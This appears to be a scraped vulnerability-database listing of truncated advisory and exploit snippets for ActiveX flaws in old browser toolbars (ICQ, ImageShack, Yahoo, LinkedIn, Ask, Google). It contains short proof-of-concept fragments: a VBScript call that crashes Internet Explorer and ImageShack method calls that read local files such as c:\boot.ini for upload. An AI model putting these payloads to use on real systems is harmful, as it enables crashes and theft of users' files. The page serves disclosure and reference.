ICQ Toolbar 'toolbaru.dll' ActiveX控件'GetPropertyById'远程拒绝服务漏洞

BUGTRAQ ID: 28118 CNCAN ID:CNCAN-2008030705 ICQ是一款流行的即时信息通讯程序。 ICQ工具栏'toolbaru.dll' ActiveX控件存在输入检查问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 问题是'toolbaru.dll' ActiveX控件对'GetPropertyById'方法缺少正确处理，构建恶意WEB页，诱使用户访问，可导致对应用程序进行拒绝服务攻击。 测试方法 !-- Lame ICQToolbar IE DoS - Crash IE and change toolbar color :p -- html...

ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit

No description provided by source. !-- Lame ICQToolbar IE DoS - Crash IE and change toolbar color :p -- html object classid='clsid:855F3B16-6D32-4FE6-8A56-BBB695989046' id='toolbar' /object script language='vbscript' bof=String128, "spdr" toolbar.GetPropertyById "" ,bof /script /html...

ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ======================================================== ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit ======================================================== bof=String128, "spdr" toolbar.GetPropertyById "" ,bof 0day.today 2018-04-02...

ICQ Toolbar 2.3 - ActiveX Remote Denial of Service

bof=String128, "spdr" toolbar.GetPropertyById "" ,bof milw0rm.com 2008-03-06...

ICQ Toolbar 2.3 - ActiveX Remote Denial of Service

ICQ Toolbar 2.3 - ActiveX Remote Denial of Service bof=String128, "spdr" toolbar.GetPropertyById "" ,bof milw0rm.com 2008-03-06...

Ask.com Toolbar AskJeevesToolBar.SettingsPlugin.1 ActiveX (askBar.dll) ShortFormat Property Arbitrary Code Execution

The AskJeevesToolBar.SettingsPlugin.1 ActiveX control, part of the Ask Toolbar, is installed on the remote host. It reportedly contains a buffer overflow that can be triggered with a long value for the 'ShortFormat' property. If a remote attacker can trick a user on the affected host into visitin...

Yahoo! Toolbar URL Shortcut ActiveX Control Buffer Overflow (CVE-2007-6535)

Yahoo! Toolbar is a pop-up blocker for Firefox and Internet Explorer that allows instant access to several Yahoo! features. A buffer overflow vulnerability was reported in Yahoo! Toolbar. This vulnerability is due to boundary errors in the Yahoo! Toolbar YShortcut ActiveX Control. To trigger this...

ImageShack Toolbar ImageShackToolbar.dll控件不安全方式漏洞

BUGTRAQ ID: 27439 ImageShack Toolbar是用于向ImageShack网站上传文件的浏览器内嵌工具栏。 ImageShack Toolbar的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞获取系统文件。 ImageShack Toolbar所安装的ImageShackToolbar.FileUploader.1...

imageshack-poc.txt

suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingpriv...

ImageShack Toolbar 4.5.7 FileUploader Class Insecure Method PoC

No description provided by source. !-- ImageShack Toolbar 4.5.7 FileUploader Class ImageShackToolbar.dll insecure method poc This tool may allow a malicious web page to post arbitrary images on the web from a user hard drive. Images will be visible on ImageShack site, a way for an attacker to...

ImageShack Toolbar 4.5.7 - 'FileUploader' Class InsecureMethod

suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingprivatethings","Fade","White" ---- some wiresh...

ImageShack Toolbar 4.5.7 FileUploader Class InsecureMethod PoC

No description provided by source. !-- ImageShack Toolbar 4.5.7 FileUploader Class ImageShackToolbar.dll insecure method poc This tool may allow a malicious web page to post arbitrary images on the web from a user hard drive. Images will be visible on ImageShack site, a way for an attacker to...

ImageShack Toolbar 4.5.7 - FileUploader Class InsecureMethod

ImageShack Toolbar 4.5.7 - FileUploader Class InsecureMethod suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingprivatethings...

ImageShack Toolbar ActiveX unauthorized access

Insecure method allows local files reading access...

ImageShack Toolbar 4.5.7 FileUploader Class Insecure Method PoC

Exploit for unknown platform in category remote exploits =============================================================== ImageShack Toolbar 4.5.7 FileUploader Class Insecure Method PoC ===============================================================...

LinkedIn Toolbar IEContextMenu Buffer Overflow (CVE-2007-3955)

A buffer overflow vulnerability exists in LinkedIn Internet Explorer Toolbar. LinkedIn is a popular business-oriented networking site. This vulnerability is due to errors in the LinkedIn Internet Explorer Toolbar IEContextMenu ActiveX Control when handling overly long arguments sent to the search...

Buffer overflow

Buffer overflow in the YShortcut ActiveX control in YShortcut.dll 2006.8.15.1 in Yahoo! Toolbar might allow attackers to execute arbitrary code via a long string to the IsTaggedBM method...

CVE-2007-6535

Buffer overflow in the YShortcut ActiveX control in YShortcut.dll 2006.8.15.1 in Yahoo! Toolbar might allow attackers to execute arbitrary code via a long string to the IsTaggedBM method...

Open redirect

The Custom Button Installer dialog in Google Toolbar 4 and 5 beta presents certain domain names in the 1 "Downloaded from" and 2 "Privacy considerations" sections without verifying domain names, which makes it easier for remote attackers to spoof domain names and trick users into installing...

CVE-2007-6535

Buffer overflow in the YShortcut ActiveX control in YShortcut.dll 2006.8.15.1 in Yahoo! Toolbar might allow attackers to execute arbitrary code via a long string to the IsTaggedBM method...